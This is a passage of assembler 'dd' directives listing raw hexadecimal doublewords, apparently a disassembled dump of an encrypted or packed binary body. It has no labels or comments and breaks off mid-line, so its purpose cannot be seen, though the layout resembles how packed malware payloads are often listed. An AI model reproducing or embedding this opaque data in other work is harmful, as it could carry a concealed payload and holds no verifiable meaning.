dd 9068FF8h, 331BDBDh, 46EE8106h, 801E7210h, 0C6817BDBh dd 1E721042h, 137D858Bh, 0F4A0603h, 1385h, 23E9F800h, 0B1000000h dd 8003276Eh, 43B44A7Eh, 0AFDC9694h, 2E399589h, 92E90603h dd 90FFFFFFh, 10E1CC1h, 7D0312B8h, 4EB29E3h, 6DC2230Fh dd 812E9h, 0FBFC9F00h, 4E730095h, 0D8E1B71Ah, 0A84D21B4h dd 3BC05124h, 4A20DF55h, 0E5481CA5h, 69FC9015h, 9F62668Bh dd 0C091F7F8h, 7DE962C6h, 0A5577105h, 0F0F16FC6h, 6C03770Eh dd 0F16C2F4Bh, 91993207h, 87204420h, 6C0FEFCh, 6463FC4Ch dd 32D9770Eh, 636896B6h, 0C9D67511h, 0E1B4E7CDh, 0EBFD487Dh dd 4487106h, 5321DEB1h, 2489C3AEh, 6F3CAC51h, 462961B5h dd 0FC0023A1h, 0FB93699Ah, 77h, 0BC452A04h, 67E04802h dd 0D5770EF0h, 47C06806h, 0B5770EF0h, 5F224A26h, 0F45731BAh dd 0AD420448h, 0F59718FCh, 9B20FD90h, 91AB580Ch, 4E996D4Eh dd 43h, 6F452AE9h, 0EF042DBh, 5858C077h, 1A2AF159h, 0A9C1AC3Bh dd 0FDD8ACF6h, 3F941D6h, 0B645C36Bh, 1E02770Eh, 0DADFB0CAh dd 872CC99Ch, 179878C5h, 0DE582C88h, 0B68B0424h, 6AF1770Eh dd 258B8Eh, 2A2A0000h, 42CBC45h, 770EF089h, 3F2E72AEh dd 4D1CE49Ch, 0A1D5EAD4h, 0C9AF00FCh, 8B687FCAh, 12E78A66h dd 0F0F8FBE9h, 0FF4B6785h, 7511FC2Dh, 891474E3h, 0AFBC08E7h dd 325A5B3Fh, 0F2B50257h, 278A0327h, 63F6710Bh, 0F65B0994h dd 0B6F19B20h, 263CE7CBh, 3490B36Dh, 0AF4B4663h, 3F8A2B21h dd 1B09A783h, 0D8B76F0Eh, 0A6268D36h, 9BD3073Dh, 436434F5h dd 6B0D90F4h, 55FE0646h, 68770E1Bh, 0A84E0054h, 7C5B75C9h dd 339EEE33h, 83F0265Dh, 0F0F992B6h, 9047770Eh, 0F4986D05h dd 0D208AF39h, 917C44DDh, 9D1692F7h, 432AAC2Fh, 6C01C1A2h dd 67626A8Fh, 74FEE589h, 986D5680h, 0F2AB4223h, 94F19B20h dd 40A9B309h, 0CA000000h, 0FA9D83F0h, 1956EF5h, 556A8F6Ch dd 0A0C7CBEAh, 336DCB56h, 5956A679h, 67FA7C53h, 697C6C95h dd 8D062682h, 0F3770EAFh, 82018F64h, 3BF442Ah, 64648D62h dd 0F1088B61h, 3D5A72h, 1D90000h, 0F69E8B6Ch, 218E6AF1h dd 1D95A54h, 0EF0B029h, 2FC0AD77h, 3887C28Ah, 0A5C1DD7Eh dd 0E6B64BA0h, 4701890Ah, 572DD2A6h, 47442ADCh, 1516C3B2h dd 0EB2AC09Fh, 0B2194C1Ch, 2A72F131h, 22AA243h, 770B6F97h dd 0C48429CDh, 6F5DF652h, 34A3770Ah, 523ABF51h, 0BF1F43F1h dd 0DABB4A0Ch, 0BFD2B7D1h, 2DB8D0D9h, 673F6357h, 94796F90h dd 28EEFE03h, 6F41DA6Eh, 0D0BF770Ah, 56D2B942h, 33555E33h dd 2678AC90h, 7F0EA851h, 1673159Eh, 273DF69Ah, 209968D1h dd 41h, 68432A53h, 17FB56AAh, 0BF29B47Ah, 437F7D08h, 0EE13E489h dd 85EB21FEh, 0C42C9D86h, 6DAB8379h, 0CB7511D5h, 13E14C1Ch dd 7E13FEEEh, 63BC1375h, 2D504BAh, 0E428E494h, 0C91D135Ah dd 8BD9DEB1h, 0A2432AC8h, 0CF29D2Ah, 92044469h, 0EF11DB6h dd 69F46377h, 0FA44E482h, 607511FAh, 442997F5h, 85D0FB0h dd 83F037ACh, 0AC2F8865h, 0C1A2432Ah, 8074A82Bh, 7F986D56h dd 59h, 886C01F8h, 0F0FB94B4h, 9A41770Eh, 22F05D0Fh, 0F9ACF99h dd 7F7906B1h, 37A19043h, 0FB305802h, 0AD0B9617h, 0B0290136h dd 6B770EF0h, 0F10099B1h, 117C770Eh, 1B917C81h, 0EEC6573Ah dd 0EF0C15Ah, 0DDA83F77h, 8201FD76h, 0C6BF442Ah, 325A72F1h dd 1C000000h, 0AB01A649h, 6583F028h, 0B0290188h dd 0AD770EF0h, 0BEF7E38h, 0E37CCCEAh, 59770EF0h, 1BD36B2h dd 0BF442A82h, 0E34701C6h, 770EF06Ah, 1BA503D6h, 455E0164h dd 0A76626FCh, 771E73C9h, 63CE1676h, 91770ACDh, 0D90F8FDh dd 56044469h, 8F603A6Eh, 50EC9F6Ah, 2A34A0Ch, 0ED16FB4Eh dd 788116FBh, 0C4E98D10h, 50553984h, 588C4038h, 3B6FD5FEh dd 67658E63h, 692EB8CCh, 23B799h, 2AC00000h, 9D2AA243h dd 6EBAF4F2h, 751214A4h, 608568FDh, 803EAD84h, 8E409EDh dd 577BB960h, 1177781Fh, 0A2432A62h, 0F4F29D2Ah, 15A86EBAh dd 2B867512h, 0BD28A049h, 22F598D6h, 1043279Dh, 886583F0h dd 0D4A64701h, 0E028BD2Fh, 770EF067h, 0C2AA06D5h, 0A2432A91h dd 6E936104h, 0A82B1192h, 6D568074h, 2A7F98h, 1F80000h dd 0E7BCBA5Eh, 55D3DA88h, 0A2039DEAh, 0F0B02901h, 590C770Eh dd 2A8201E4h, 1C6BF44h, 8E6A8F6Ch, 305A4320h, 0D9000000h dd 886583F0h, 0CFA64701h, 0E17A522Eh, 0FE770EF0h, 82018A6Bh dd 0A775442Ah, 87F2C2CCh, 1D5AE35h, 63658E6Ch, 85885166h dd 38948F19h, 2A7DF2BCh, 22AA243h, 770B6F97h, 64074BE9h dd 1E8077B3h, 0DB8E89E7h, 8EDB8D36h, 37B85F32h, 0FD02EA7Bh dd 0F79E6307h, 0A6D196F6h, 94B46E08h, 770A6CFBh, 601E9A41h dd 8932C7A6h, 1E2E8ADFh, 750D8A9Ch, 0DAABC792h, 0B2D7B136h dd 9A721FEDh, 55D30CB8h, 83F04231h, 96F6FB9Dh, 18F64F3h dd 0F79E8B6Ch, 64616BF6h, 2AF3E088h, 5304A243h, 0A077FA6Ch dd 47184D1Fh, 1C98D353h, 0AA6D2BA7h, 0BBCC6EA7h, 0F97AF675h dd 64896C01h, 56B1BB88h, 384E986Dh, 0E9000000h, 886583F0h dd 0F0B02901h, 0A86B770Eh, 34425B21h, 0D8F977DCh, 0C22AE3C7h dd 2CBDE534h, 78AF4DABh, 851675C0h, 92796C7Ch, 2A820111h dd 0F1C6BF44h, 4F5A72h, 0F0D90000h, 0B84D6583h, 0BC452BD4h dd 422AB7D1h, 0D95AD6BDh, 0F0B02901h, 38AD770Eh, 0E50EEF7Eh dd 0DE32F5D4h, 12EE9247h, 0A6470191h, 0D74C28D1h, 0B347442Ah dd 0A00F5A32h, 0FDB7F1C3h, 0EF0B42Dh, 0DB64477h, 8A170E5Bh dd 97FA9879h, 0CDAB36BCh, 0A2432A56h, 0D4BB4A04h, 0FC2CB9D3h dd 770EF063h, 0D6B632D9h, 0B6FA30Eh, 0EB3FF577h, 553BBC53h dd 0C0882DC0h, 138C9C56h, 0E770A70h, 0A6FA13Ah, 49481F77h dd 852ECF82h, 3DF5802Fh, 49111170h, 0EB8712EBh, 0D28A15Fh dd 0DDB01F75h, 4ED5B0D8h, 5E01591Ah, 3CC1FEE0h, 36817F55h dd 2FD6AF49h, 0A2432AACh, 8E6C01C1h, 0F8FB8F65h, 6AE34701h dd 0D6770EF0h, 969EA503h, 0D986D56h, 7B6D9678h, 3788926Eh dd 2B000000h, 886583F0h, 0F0B02901h, 590C770Eh, 0A64701E4h dd 0D9BB2ECFh, 572DB8D0h, 0BF442ADCh, 5A72F1C6h, 59h, 94527B1Ch dd 0A37EF0B3h, 25A028D1h, 5D660B5Eh, 83F06CE7h, 0F58A4D65h dd 0B0187EF9h, 0F7A88A79h, 0D6BD1E16h, 1017B098h, 0F665770Eh dd 2901F97Ah, 770EF0B0h, 7F29A6Bh, 517E49EFh, 0FBED7884h dd 79212EEh, 2A8201AEh, 0F1C6BF44h, 0CA7EE4B7h, 6AC549B7h dd 1E9A6186h, 0A2432AA5h, 3EF29D2Ah, 6A0D0752h, 7D13445h dd 75D5ED78h, 7510F133h, 0E18EC289h, 0CA5E1896h, 6F03EDA9h dd 77165007h, 0E04D1FA0h, 0E8FDEF10h, 7AC7A71Dh, 0EBBBD893h dd 0DBBC55F5h, 55007704h, 15E25604h, 0A077DA8Eh, 3ACB4D1Fh dd 0A93CAC55h, 0A097FBD3h, 3BF91FBFh, 37B85F17h, 8429CC51h dd 109579C4h, 0ED317378h, 2A09EF7Eh, 43BE5BF5h, 7A1FEA0Ch dd 37777C0Ah, 4D209CC2h, 0F24705AAh, 22DC9A1Bh, 4D338D06h dd 8864F30Bh, 0AC7C36E0h, 0B4D3333h, 0E88FC289h, 64C085C7h dd 1171h, 0D1A44900h, 59E3BC2Ch, 2C4BC8C1h, 36AD0B96h dd 472A8003h, 0B45B26A6h, 26F45933h, 9266CB9Dh, 1967B6Dh dd 6C0D90F8h, 0D4B80547h, 42D4B9D3h, 0B1422FB9h, 510B4008h dd 0C181E189h, 4, 3304E983h, 0C31240Ch, 240C3324h, 7B9F685Ch dd 0C890000h, 59146824h, 4890000h, 68505224h, 0EB53DB9h dd 0C2152D58h, 0C289BEA6h, 0F811B958h, 0D101B5FAh, 48B545Ah dd 4C48124h, 81000000h, 4ECh, 240C8900h, 56240481h, 8F11BD17h dd 68810840h, 0BD175608h, 2434FF11h, 4C48358h, 592434FFh dd 0E904C483h, 0FFFA01A1h, 0B89D7F8Ah, 6097B4Fh, 0E0FFC503h dd 4C0EB934h, 5857A7F2h, 363DDE11h, 65BC3EF2h, 5426438Ch dd 7DA8F7AAh, 4B49C235h, 40B070C8h, 4948BD2Ch, 7CCCC0FDh dd 26A9E8F8h, 6080D8F9h, 1D85F672h, 4A113A75h, 4FF77109h dd 717A410h, 668182EBh, 6BB6B71h, 7F9D2AC6h, 17F40EC5h dd 113FEC84h, 17E0DF9Ah, 4B339453h, 1755D684h, 1BA65D18h dd 7A438001h, 1AE0FE62h, 14506C73h, 70172A98h, 7D028D8Dh dd 6A0609h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 33B053C3h, 0B02BB609h, 19DD9531h, 8D890603h dd 60331D1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 12C35545h, 0E185C774h, 0D8060301h, 6A00006Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 291AC352h, 313B58Dh, 0BD85C706h, 60321h, 80000000h dd 1EBAD4CEh, 0FF24F802h, 321D9B5h, 0BE906h, 41F60000h dd 0B2298879h, 221741ECh, 9195FF92h, 0F060326h, 68Ch, 49B53100h dd 6A060320h, 0B995FF00h, 8B06031Fh, 8009EBC0h, 264237DDh dd 73F67816h, 0FE8h, 0CBC3D200h, 67C4F749h, 0D98AD4AEh dd 9DD7ECE8h, 8B5EFB8Bh, 27C681C3h, 81000062h, 63A09EE9h dd 0F4FABA31h, 0EA8133BEh, 33BEDC97h, 28C0Fh, 0E8B40000h dd 0B15B36FFh, 5EF3810Fh, 8B30177Eh, 321A185h, 21EB8106h dd 535C4AB2h, 6E9h, 90B8100h, 58B33BDEh, 20DCEB81h, 0BF0F19AFh dd 0E81E89C8h, 0Dh, 5303682Fh, 0B3F489DFh, 7123FAC3h, 0C18B66EEh dd 4EE835Fh, 83CDE580h, 850F01EAh, 0FFFFFFACh, 13E9h, 0E4A37100h dd 1812F757h, 2B98CC4Fh, 64E49242h, 0F3BD38D4h, 7E578D8Dh dd 9D2B0609h, 6032A21h, 31D18D89h, 31510603h, 32A5DB5h dd 85C75B06h, 60301E1h, 60B0h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 22C35141h, 0D9D78146h, 0C7429278h dd 321BD85h, 6, 68D0F00h, 31000000h, 32D4DB5h, 61B5FF06h dd 56060329h, 0FC5B503h, 0E85F0603h, 13h, 26501D75h, 0ED392774h dd 0CD7180FCh, 1AC69C38h, 0FC61BBEh, 688h, 2D950100h, 5A06032Ah dd 269195FFh, 0C6810603h, 5B19B3ECh, 95FF006Ah, 6031FB9h dd 7DEBC08Bh, 0F6ABC65Fh, 39BBDD5Ch, 6E5E499h, 770A5B3Bh dd 0C1DA45FEh, 0E43D0D86h, 9D691579h, 0D42D738Dh, 6363A5C3h dd 200DBB01h, 20ED1585h, 347EE2A5h, 0C1DC1044h, 0A5291B0h dd 0C3E0A1D8h, 0A6CA7A51h, 0F106D5Ch, 0D5F7903Ch, 7C113451h dd 0A2A21E15h, 9C2CAFEh, 33F35D67h, 0FE1F18C2h, 8BE4D73Dh dd 0E447A33h, 0A6941399h, 0F4ED61F6h, 3260D337h, 0CE76EB6Fh dd 1CE48A81h, 0DBC9D483h, 0C78D8D81h, 6A06097Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0A500C353h, 60ED5502h, 1499094Ch, 778BBF66h, 0DC28160h dd 8A046B2Fh, 8D8961F7h, 60331D1h, 5880Fh, 40BB0000h, 0C7323834h dd 301E185h dd 679006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0D88156A3h, 52A2A4F9h, 68C0Fh, 8B0F0000h dd 0 dd 21BD85C7h, 603h, 0E6800000h, 0D9B5FF90h, 0F060321h dd 1A87h, 14840F00h, 0E8000000h, 0Eh, 52B355D0h, 0FE6A644h dd 259342B2h, 95E8E41h, 31211BDh, 9195FF06h, 6A060326h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 8129C355h, 9DB031CFh, 0D5F7805Dh, 95FF006Ah dd 6031FB9h, 9EBC08Bh, 7436998Bh, 0E44F20B7h, 7C8D8D43h dd 0F060980h, 8D89DFB7h, 60331D1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 74C35343h, 1185295Ah, 0C706031Dh dd 301E185h, 646006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0B70F2D62h, 0BD85C7D0h dd 60321h, 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 9995C351h, 0B5FFF548h, 60330A9h dd 1FFD958Bh, 0DF800603h, 9195FFEEh, 31060326h, 312598Dh dd 0FF006A06h, 31FB995h, 0EBC08B06h, 0D3AB0938h, 0C6A71414h dd 4E175D23h, 0BBA11561h, 3C8876EDh, 4BFE855Bh, 1A3CB9F5h dd 0A221F6Ch, 17B7F108h, 41C16F48h, 18C82192h, 7D42EC05h dd 3CBC1AECh, 56DAA80Fh, 6E823h, 45D90000h, 3E87D03Bh dd 0FE9h, 2EAF2700h, 87D3AC9Dh, 722CE70Bh, 4FAD12EAh, 498D235Fh dd 81060310h, 5BEBC7h, 0EE900h, 0FBE90000h, 0BA3BEF2h dd 6CCAC8B3h, 780AF2EFh, 0C1A8E7BEh, 0E2C6816Bh, 89943E6Dh dd 331B5BDh, 8A1F8B06h, 87C381F7h, 577C3DAEh, 9F07BA66h dd 0BEF3815Ah, 8B1A71D0h, 30C8585h, 7EF38106h, 0F1891CDh dd 48Bh, 0C6B96600h, 78F53D7h, 0B259D09h, 0EF830603h, 0CA8B6602h dd 8E94F4Fh, 2000000h, 78FA5663h, 4E9D3CCAh, 1A850Fh, 0EB8A0000h dd 28E9h, 0B95EF500h, 2FB300D7h, 2C6762EDh, 0F32F99F2h dd 61A7D505h, 26FDBD89h, 8AE90603h, 8CFFFFFFh, 1979E077h dd 0C12FF7EAh, 0FB8D8D01h, 0F9060981h, 31D18D89h, 85890603h dd 60309A9h, 1E185C7h, 62780603h, 0C7F80000h, 321BD85h dd 6, 5958900h, 0FF06031Bh, 310CDB5h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0C885156Dh, 0CD25471Ch, 9D898724h, 603221Dh, 269195FFh dd 9D8B0603h, 60311E9h, 95FF006Ah, 6031FB9h, 0EEBC08Bh dd 0D418C1F4h, 4852EFCCh, 0F41B4C0h, 85C660E7h, 6032F39h dd 30DF6856h, 0B5FFA9C5h, 60328C9h, 73BC858Dh, 0D0FF0606h dd 1F498D8Dh, 6A510603h, 6DB5FF40h, 0FF060322h, 32CB5B5h dd 0FFD0FF06h, 3226DB5h, 0B5B5FF06h, 0E806032Ch, 12h, 63FE6D2Ah dd 0DC440032h, 0D221BCB5h, 0E87B5528h, 5959B7AEh, 0C104E983h dd 0C102242Ch, 3022424h, 1CF7240Ch, 6824h, 0FF5E0000h dd 81580E34h, 26E5DC0h, 4F08170h, 81077F34h, 228540F0h dd 31048967h, 3B04EE83h, 850F2434h, 0FFFFFFDBh, 1F8D9D8Dh dd 38B0603h, 840FC00Bh, 7, 5B8B038Bh, 8B188904h, 0ABE9C9h dd 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h, 9B552075h dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h, 5C009FA5h dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h dd 0A601E800h, 323D94E7h, 17BE4B83h, 1248E912h, 47680000h dd 0E9060985h, 0FFF9F9EDh, 9860168h, 0F9E3E906h, 0CD68FFF9h dd 0E9060986h, 0FFF9F9D9h, 9882F68h, 0F9CFE906h, 0A068FFF9h dd 0E9060988h, 0FFF9F9C5h, 9896168h, 0F9BBE906h, 2B68FFF9h dd 0E906098Ah, 0FFF9F9B1h, 98ABC68h, 0F9A7E906h, 7C68FFF9h dd 0E906098Bh, 0FFF9F99Dh, 98CE568h, 0F993E906h, 0C368FFF9h dd 0E906098Dh, 0FFF9F989h, 98F0668h, 0F97FE906h, 4B68FFF9h dd 0E9060990h, 0FFF9F975h, 9921568h, 0F96BE906h, 5F68FFF9h dd 0E9060993h, 0FFF9F961h, 26AA4B2Eh, 0AB39C253h, 0C58B30C6h dd 751B9C70h, 0E6EA0FE0h, 0F485D10Ch, 643499CFh, 0DAB80D43h dd 472EB3D1h, 179322A6h, 56C9A33h, 9556E671h, 618A6C01h dd 0F2F39A67h, 8460CF9Ah, 0FFE90EE1h, 167A7B12h, 0F6B02E59h dd 12007C52h, 13AF3A75h, 451A9B72h, 2A75F074h, 57378D16h dd 0B08128Fh, 0B5581E71h, 0A43D0DE3h, 18710B07h, 0E3E6E64Dh dd 0BED3105h, 936964F1h, 4BEEh, 5E010900h, 71AFF4C2h, 0B17EFAF5h dd 0BA8E28C6h, 7511EF08h, 0F697D386h, 22D25625h, 220189BFh dd 16503557h, 0AF59932h, 0F470E771h, 0F5CF4C94h, 8F61710Ah dd 0F99F626Ah, 0EC2098F0h, 0C9771EB8h, 57899385h, 0B5469369h dd 0F1000000h, 2AA2432Ah, 5F09B247h, 0F29A1BF2h, 6167886Fh dd 0EEDC3D9h, 0B2472677h, 0AE0A5F09h, 0DDB334DBh, 103DB063h dd 3EBD975Eh, 0A7482F42h, 0F9F78225h, 71FF69C1h, 0AE3D7511h dd 0E4028D3Ah, 1A507ECAh, 0E3CE6F09h, 37E1EB0Ch, 8B97A13h dd 8413C677h, 0BEC8139h, 2366422Ch, 126794Fh, 256F62ACh dd 7014E34Eh, 14340CEDh, 7708107Bh, 0F48F1AC1h, 0E6D9355Fh dd 0E917CAA2h, 6D00000Fh, 967B698Eh, 5E8FC05h, 0B71A4E73h dd 278ADEDFh, 493BA952h, 0B237D88Eh, 6A74BDEh, 941DFF42h dd 658A6DF0h, 0F0585E67h, 71056B57h, 2A5013A5h, 4528BC45h dd 245F0DB2h, 4B6785F0h, 11FF4DFFh, 7414C375h, 0BDF2FACh dd 9A3DFD71h, 7BCCB367h, 63AB6C4h, 9ABEC6D2h, 93B99369h dd 3A000000h, 67886C01h, 8B6D6065h, 10E78A66h, 7F10FDEFh dd 0C1A4127Ah, 1E2E8A2Fh, 770EEE08h, 6402A34Ah, 0EE059EAAh dd 0EC7B770Eh, 6E97C10h, 0B5C0E7E1h, 45AF7B37h, 0FB7511FEh dd 444F786Ch, 232008A6h, 916F0978h, 38D9ACCAh, 0A748DDB3h dd 6CF06302h, 4D1DE6D9h, 0F2F90h, 0A7482B00h, 3ABF5C21h dd 842DC356h, 14997DC0h, 0E70CED70h, 86D403E1h, 3184C8F1h dd 0A5085C61h, 2BBED2D7h, 942DA344h, 6A9D3612h, 51E37105h dd 0BC452A92h, 0DB24528h, 432A245Fh, 0B0472AA2h, 22F4590Fh dd 8B62CF99h, 5E57666Ah, 6703A1ECh, 0B2E6D1B4h, 74A28E3h dd 0B7F14F70h, 1137BD93h, 86147B75h, 0F4019AAEh, 0E87F710Ah dd 15F8B61Dh, 0C5807C81h, 8522E563h, 3CBAC59Dh, 5398A682h dd 0BE618388h, 0F8D7D6AAh, 8CA503C1h, 8DF88FD9h, 0DF99536Fh dd 8437D24Bh, 3DBB2E7Fh, 8224BCEDh, 0A576177Dh, 0B97428D6h dd 69F42C53h, 96676A7Fh, 2BBE976Dh, 5D30D58Fh, 0E689DC58h dd 573E83C1h, 21A1F56h, 0FDF1753h, 0E63D2h, 9314E700h dd 668B68FDh, 0F0F99F62h, 4065099Ch, 0D3D8B90Ch, 520837BDh dd 0CD5034BDh, 71C4882Dh, 0E74A1EA3h, 0D8F9EF10h, 6AD14ADEh dd 9D2F7105h, 0A2432ADEh, 0F4F29D2Ah, 8C6D00BAh, 0C3A18967h dd 717511FDh, 5538E6EAh, 3BAE3EC3h, 6987F2BDh, 0FDF3F951h dd 0AA316F0Eh, 0BD7D1A22h, 0EF8B770Eh, 83A77D1Eh, 770EBE0Ah dd 7414E376h, 73A79B11h, 6D1F5F65h, 0CDA14499h, 554E4C28h dd 2C000000h, 5537BC59h, 0F03FB430h, 914B6785h, 0EF020B9h dd 0B62FFB77h, 0A770EF0h, 1B91445Fh, 0AB3CCD5Dh, 25B07511h dd 911AF88Dh, 5D6634D9h, 0E07B83E7h, 14710BA3h, 85687C81h dd 9FB938F7h, 1B43D02Ah, 8B5ADC8Ch, 0F8BBDCE5h, 2CEB99EEh dd 913D209Ch, 4000000Dh, 0F89F85F0h, 0AFF095F7h, 3AF324B2h dd 7C3A81AAh, 8185AACh, 6D05D075h, 4223F598h, 54008B1h dd 51A8A03h, 9463F671h, 0D1A746F0h, 56394C28h, 5703751h dd 709E082Dh, 5673FD8h, 892EBD71h, 0CBA9A016h, 5423A626h dd 4A99B1C9h, 0A16EFF14h, 207BC3FEh, 308C2725h, 592C4A11h dd 0CE5331B6h, 0C79D7E27h, 0ED8EA63h, 34835677h, 0FD883FA9h dd 5967C3FFh, 0A07511D6h, 0C48429CDh, 0A70A2B81h, 2F462DD6h dd 0E0DCCE20h, 1F815F5h, 500000Dh, 8E137176h, 3D80C4EDh dd 0AF32565Bh, 0DFA226C7h, 51D3B13Ah, 9A1FF0A6h, 6E8F63F6h dd 0FC05977Ah, 4D7205E8h, 0E840461Fh, 7105686Fh, 6FB83BCDh dd 770EF0F2h, 730FADD8h, 86F00D7h, 0DD954075h, 0C406508h dd 0B7D1D6B9h, 4B6785F0h, 87C01FFh, 0D787586Fh, 62FB4FABh dd 0DE77049Dh, 4F83760Bh, 0E0774E2Ah, 0D5E73CC1h, 10CD9DE6h dd 0C90h, 82C6E78Ah, 37555E3Fh, 0A127CCA2h, 0D1B738DCh dd 4206AB4Ch, 906135E0h, 90656Bh, 7604E9FFh, 0E38A1F4Dh dd 0B3F78EC2h, 568FE97h, 31B24271h, 2AA2432Ah, 5D0FB047h dd 100054C8h, 996D4E0Ch, 6ADCBh, 85F07400h, 13FF4B67h dd 0D75086Fh, 0BE2ECFA6h, 0D4B43DD3h, 235F2AB1h, 6E48C169h dd 21B47105h, 95780D4Bh, 6E97C10h, 879BFE2Bh, 9D686043h dd 95A623CBh, 90757105h, 3F90F8FDh, 89BA85DBh, 0DF5520ABh dd 4B4D2550h, 0C7C436CCh, 402421A5h, 339EB153h, 0F8500AA4h dd 7105845Fh, 0BAD1C4DDh, 0BA0F13D2h, 2DD6B82Fh, 33311957h dd 16F0812h, 2A601B5Ah, 6DFDE6D5h, 0BCFF0h, 7A84B00h, 9A1FFC41h dd 648D63F6h, 0F4F99D60h, 476C0D90h, 2674A301h, 5124A851h dd 0C5A83CC1h, 4BDEB237h, 344D03A4h, 673DD672h, 0F1837105h dd 0A2432A72h, 0A28D6104h, 78A3B3CEh, 4314E3E4h, 21A145C0h dd 5E2E8A9Ah, 0F19B1CF3h, 2ACB9A54h, 8F5DF652h, 34A3770Eh dd 0A03911A9h, 1C770E8Fh, 9BCFF349h, 737805E8h, 0ECB6CEF5h dd 0BFB1996Ch, 0C2000005h, 0EF0F26Fh, 0FADD877h, 44D4B973h dd 0C0BC29A3h, 86D5CE8h, 4428BD75h, 81ECC5A3h, 437FCAEFh dd 0ED16E489h, 0D6C9EEFBh, 90C2DBA9h, 17FE9369h, 886FF296h dd 37426567h, 0E34701B9h, 7105666Ah, 0EBA503D6h, 874615Fh dd 6908DF6Fh, 0E6D54C98h, 55CB159h, 100000Bh, 8A1F4D72h dd 398CC0E9h, 0AB3E5257h, 0DBAE22C3h, 55DF8D36h, 961BFCAAh dd 6A8B6FF2h, 0F8019366h, 496E0194h, 0EC3C7A1Bh, 71056673h dd 2A4427C9h, 5304A243h, 8A8A393Bh, 8F34C526h, 59244420h dd 0F25731B6h, 61E1A4Eh, 0C1996C75h, 516h, 6785F072h, 6D3AFF4Bh dd 63F67508h, 2ECFA647h, 0BF40D7BAh, 0F59A6B2Dh, 0BB5870CCh dd 0AF71056Dh, 80A8C6E4h, 6F087BA2h, 9D5C3D90h, 248C792Dh dd 6DF84766h, 0D50C8752h, 0AFA24AE6h, 0A74h, 0EEE20396h dd 13717A1Bh, 8DC3E88Eh, 3D535438h, 0AE22C7A8h, 0AC4D19C4h dd 1CFC4107h, 9260F59Bh, 0FF967B69h, 0CFCBEAFEh, 566E27Bh dd 0CDAE5E71h, 0A768432Ah, 89BAF831h, 0EF721AE1h, 0AE7A3408h dd 770E6E35h, 53CCDC8Bh, 0A9770E6Eh, 0A8355722h, 0C6AB3DC6h dd 4CDF892Eh, 67328CD0h, 718B6DB1h, 6E996CCCh, 46Eh, 1DB6924Ch dd 63770E67h, 6FFB78F4h, 770EF0F5h, 7A34B2DDh, 86D34AEh dd 0A3DF8A75h, 8B7404E9h, 1577C2E3h, 0B4452F70h, 0EE7D4324h dd 17987F12h, 0E409EC71h, 515A3BCAh, 89F4B3DBh, 0F0954F6Bh dd 9ACF9922h, 0F5880E1Eh, 73E66F08h, 0D5CE6B30h, 0BB5636E6h dd 9B4h, 0AE22C356h, 0D3B13ADBh, 4D03A84Eh, 0FD9314F8h dd 6E628768h, 6C0D5984h, 0DCBC0147h, 5220B5DBh, 0BF563BA9h dd 8F0BAA3Eh, 56522BBh, 0DEE9E71h, 2AA2432Ah, 5D0FB047h dd 0CE9E23F0h, 616B8C63h, 0E65084B8h, 7B3367DDh, 84571394h dd 0A6266BCDh, 0DFB309DCh, 6D131014h, 160CF99h, 0D8AD0000h dd 0B3D6B63Bh, 3FB53EDCh, 8F6C0144h, 40F92FA0h, 432EE983h dd 2ED80E5h, 7A49D4Fh, 38D179C5h, 84770E32h, 0EDFF4AD1h dd 0D3C3682Bh, 7F78FC24h, 0DD6EE743h, 7D2770Eh, 4631C4A9h dd 0AACE5ADDh, 85A5DDE4h, 770E520Ch, 4A1EE570h, 1A54523Dh dd 0B2B3BF60h, 6471C5D2h, 0B6EAA088h, 3DA87511h, 980683ABh dd 1E02710Bh, 24CA9BCAh, 0CE47E39Fh, 32710B97h, 0E2FAC9A7h dd 9D9369F4h, 3Eh, 6785F01Eh, 0FF4DFF4Bh, 0F3A47511h, 0B65E8105h dd 0A2A56031h, 57D24BDFh, 0BB2E710Bh, 0EA71502Ch, 57BD5AE2h dd 0D54B710Bh, 0B98D9781h, 77169369h, 0A54B1E9Fh, 0A3194C1Ch dd 93B9h, 432A3A00h, 0AD5304A2h, 81640400h, 7CC1A907h dd 0EB76169Bh, 4E9E304h, 0F0184C71h, 770E8B4Ah, 0F8EC11E4h dd 8826C4CFh, 555E3FCEh, 3AE0CFDFh, 5637750Ch, 65BC38C1h dd 44D5B8F6h, 0B34429BFh, 29B4770Eh, 9179E0DAh, 84B7Ch dd 8B2CCF00h, 1EA370C5h, 0E811E74Ah, 787D11E4h, 0CBF08114h dd 0BAF02F85h, 0D5B82CD5h, 592CA045h, 0CF5236BBh, 0B0C18728h dd 64B952F6h, 75077105h, 0BC452AF6h, 0FE9F6E28h, 7AF693F5h dd 437F8017h, 0A028D1A2h, 0B83B4F25h, 2AA2432Ah, 590FB047h dd 25984h, 85F03F00h, 15FF4B67h, 0B7511F7h, 67E40C5Ch dd 0A5710BD6h, 6E936005h, 89566B7Eh, 0F6D11A5Bh, 14387CF8h dd 69A4F80Ch, 2EF1AB93h, 0A81C5E9Fh, 50C9C394h, 